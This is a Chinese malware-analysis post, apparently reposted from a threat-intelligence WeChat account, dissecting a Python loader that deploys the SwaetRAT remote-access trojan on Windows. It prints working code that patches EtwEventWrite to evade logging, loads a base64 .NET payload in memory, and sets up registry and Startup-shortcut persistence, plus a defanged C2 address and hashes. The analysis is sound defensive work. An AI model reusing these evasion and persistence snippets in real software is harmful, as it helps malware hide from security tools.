新年已至,但网络安全领域的攻击场景依旧严峻。近期,我发现了一个行为极为隐蔽的Python脚本,其在VirusTotal上的检测评分仅为7/61,这意味着大部分安全引擎未能有效识别其潜在威胁。该脚本主要针对广泛使用的Microsoft Windows系统,从加载调用Microsoft API和处理有效负载所需的所有库开始,逐步展开其恶意活动。
from System.Reflection import Assemblyfrom ctypes import windllfrom ctypes import wintypesimport ctypes
此前,我已经深入分析过多个在API层面与操作系统交互的Python脚本,但此次发现的脚本展现出了一些新的特性和更为复杂的行为模式。
在进入下一阶段之前,该脚本会对一些关键的API调用进行动态补丁操作,以巧妙地掩盖其踪迹。其中,对AmsiScanBuffer()
的补丁操作较为常见,其目的在于绕过系统的反恶意软件扫描接口(AMSI)检测。此外,它还对EtwEventWrite()
进行了补丁,阻止系统创建相关事件记录,从而增加其活动的隐蔽性。
这两个API的补丁代码(已美化)如下,通过覆盖API调用的前几个字节来返回预期值,使得系统在调用这些API时无法获取真实的信息,进而干扰安全防护机制的正常运行:
if platform.architecture()[0] == '64bit': etw_patch = (ctypes.c_char * 4)(0x48, 0x33, 0xc0, 0xc3)if platform.architecture()[0]!= '64bit': etw_patch = (ctypes.c_char * 5)(0x33, 0xc0, 0xc2, 0x14, 0x00)pEventWrite = GetProcAddress(GetModuleHandleA(b"ntdll.dll"), b"EtwEventWrite")oldprotect = wintypes.DWORD(0)VirtualProtect(pEventWrite, ctypes.sizeof(etw_patch), RWX, ctypes.byref(oldprotect))RtlMoveMemory(pEventWrite, etw_patch, ctypes.sizeof(etw_patch))VirtualProtect(pEventWrite, ctypes.sizeof(etw_patch), oldprotect, ctypes.byref(oldprotect))
最后,脚本会解码、加载并调用下一阶段的代码,逐步推进其恶意目的:
PAYLOAD_DATA = "TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAA [...string is too long...]"assembly = Assembly.Load(base64.b64decode(PAYLOAD_DATA))instance = assembly.CreateInstance(assembly.EntryPoint.Name)assembly.EntryPoint.Invoke(instance,None)
从有效负载的前几个字节可以看出,这是一个PE(Portable Executable)文件,PE文件是Windows操作系统上可执行程序、动态链接库等的标准文件格式。
remnux@remnux:/MalwareZoo/20250102$ base64dump.py -n 10 stage1.pyID Size Encoded Decoded md5 decoded-- ---- ------- ------- -----------1: 16 GetModuleHandleA..L...xv.vW. 1b7ad174aff72b50b2484077b9fe6e0c2: 16 GetModuleHandleA..L...xv.vW. 1b7ad174aff72b50b2484077b9fe6e0c3: 16 GetModuleHandleA..L...xv.vW. 1b7ad174aff72b50b2484077b9fe6e0c4: 16 GetModuleHandleA..L...xv.vW. 1b7ad174aff72b50b2484077b9fe6e0c5: 16 GetModuleHandleA..L...xv.vW. 1b7ad174aff72b50b2484077b9fe6e0c6: 179544 TVqQAAMAAAAEAAAA MZ.............. 0ce61b311f5694e8d3c22ff1729cf805remnux@remnux:/MalwareZoo/20250102$ base64dump.py -n 10 stage1.py -s 6 -d | file -/dev/stdin: PE32+ executable (GUI) x86-64 Mono/.Net assembly, for MS Windows
这个可执行文件是一个.Net二进制文件,幸运的是,它未经过高度混淆处理,这使得我们能够相对容易地对其进行反汇编和逆向分析,从而揭示其背后的恶意逻辑。
SwaetRAT背景信息
SwaetRAT是一种近年来逐渐受到关注的远程访问木马(RAT),它主要活跃于网络犯罪领域,被用于非法获取目标系统的控制权,窃取敏感信息等恶意活动。其名称可能源于其开发者或特定的攻击组织,虽然目前关于其起源和背后的组织信息尚未完全明确,但它已经在多起网络安全事件中被发现。SwaetRAT通常会利用各种手段来躲避安全检测,如上述提到的动态补丁技术,以及利用合法的系统工具和进程来隐藏自身的存在。它的功能十分强大,具备诸如键盘记录、远程桌面控制、文件窃取等多种恶意功能,能够对个人用户和企业机构造成严重的安全威胁,一旦感染,用户的隐私和重要数据将面临泄露风险,系统的完整性和可用性也会受到严重破坏。
样本分析
首先,它会将自身复制到%LOCALAPPDATA%Microsoft_OneDrive.exe
,并检查是否从该目录执行。这是一个非常巧妙的技巧,因为许多安全沙箱在测试样本时总是从同一个目录(如C:Temp)执行样本,通过这种方式,它可以在一定程度上逃避沙箱的检测。
如果是从该目录执行,它将提取下一阶段的代码。同时,它还会创建%LOCALAPPDATA%Xbox
目录,这个看似正常的目录创建行为实际上是其恶意活动的一部分。它通过在注册表中创建特定键值和在启动文件夹中创建链接文件来实现持久化,确保在系统重启后仍能保持运行:
publicstaticvoid __PER_v4_() {string text = "Software\STD";string text2 = "DDD";try { RegistryKey registryKey = Registry.CurrentUser.CreateSubKey(text); registryKey.SetValue(text2, """ + Process.GetCurrentProcess().MainModule.FileName.ToString() + """); registryKey.Close(); }catch (Exception) { }try { WshShell wshShell = (WshShell)Activator.CreateInstance(Marshal.GetTypeFromCLSID(new Guid("72C24DD5-D70A-438B-8A42-98424B88AFB8")));if (Program.<>o__0.<>p__0 == null) { Program.<>o__0.<>p__0 = CallSite<Func<CallSite, object, IWshShortcut>>.Create(Binder.Convert(CSharpBinderFlags.ConvertExplicit, typeof(IWshShortcut), typeof(Program))); } IWshShortcut wshShortcut = Program.<>o__0.<>p__0.Target(Program.<>o__0.<>p__0, wshShell.CreateShortcut(Environment.GetFolderPath(Environment.SpecialFolder.Startup) + "\Winexe.lnk")); wshShortcut.TargetPath = "powershell.exe"; wshShortcut.Arguments = "Start-Process -FilePath (Get-ItemProperty 'HKCU:" + text + "')." + text2; wshShortcut.WindowStyle = 7; wshShortcut.Save(); }catch (Exception) { }}
最后,下一阶段的有效负载被解码,为后续的恶意行为做准备:
new WebClient();string hex = "4D5A90000300000004000000FFFF0000B8000000[...string is too long...]";try { Thread.Sleep(1500);}catch { }try { Program.Run("C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe", Program.BA(hex), false);
hex
变量通过BA()
函数进行解码,将十六进制字符串转换为字节数组,用于后续的操作:
publicstaticbyte[] BA(string hex) {int length = hex.Length;byte[] array = newbyte[length / 2];for (int i = 0; i < length; i += 2) { array[i / 2] = Convert.ToByte(hex.Substring(i, 2), 16); }return array;}
下一阶段(SHA256: f8ff16829e8fe1d06126c42c76b2bf48c62a02d1c6426e448e723168ecdf19fc)就是SwaetRAT本身。这也是一个未混淆的.Net二进制文件,在反汇编过程中可以直接看到RAT的功能,如键盘记录器(Keylogger)、远程桌面控制(RemoteDesktop)等功能模块的存在,表明其具备全面的远程控制能力:
该恶意软件会将自身复制到另一个位置:%APPDATA%CCleaner.exe
,试图伪装成正常的应用程序,进一步迷惑用户。其配置也很容易提取,从配置中可以看到它针对的银行相关目标,包括Paypal、Binance、Coinbase等多个知名金融机构,这表明其可能主要用于窃取金融相关的敏感信息:
威胁情报关联
进行威胁情报分析总是很有价值的,通过深入挖掘,我发现了与这个RAT相关的一些有趣信息:
-
• 该样本(f8ff16829e8fe1d06126c42c76b2bf48c62a02d1c6426e448e723168ecdf19fc)在另一次攻击活动中被识别,这表明它可能是某个攻击组织或团伙长期使用的工具之一。 -
• 该样本在2023年被eSentire报道过,当时就引起了安全研究人员的关注,但它仍在不断演变和传播。 -
• RAT的C2服务器可以从有效负载中提取出来,其地址为“144[.]126[.]149[.]221:7777”,通过与C2服务器的通信,攻击者可以远程控制受感染的系统,下达各种恶意指令,如窃取数据、执行其他恶意程序等。这一信息对于安全防护和追踪攻击者至关重要,安全团队可以据此采取措施阻断其与C2服务器的通信,从而阻止进一步的危害。
{ "c2": [ "144[.]126[.]149[.]221:7777" ], "rule": "Swaetrat", "family": "swaetrat"}
[1] https://www.virustotal.com/gui/file/8693e1c6995ca06b43d44e11495dc24d809579fe8c3c3896e972e2292e4c7abd/details[2] https://isc.sans.edu/diary/Live+Patching+DLLs+with+Python/31218[3] https://learn.microsoft.com/en-us/windows/win32/devnotes/etweventwrite[4] https://isc.sans.edu/diary/Searching+for+Base64encoded+PE+Files/22199[5] https://isc.sans.edu/diary/ExelaStealer+Delivered+From+Russia+With+Love/31118[6] https://www.esentire.com/blog/phantomcontrol-returns-with-ande-loader-and-swaetrat
后台回复“进群”加入群聊
原文始发于微信公众号(TIPFactory情报工厂):SwaetRAT python loader分析
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论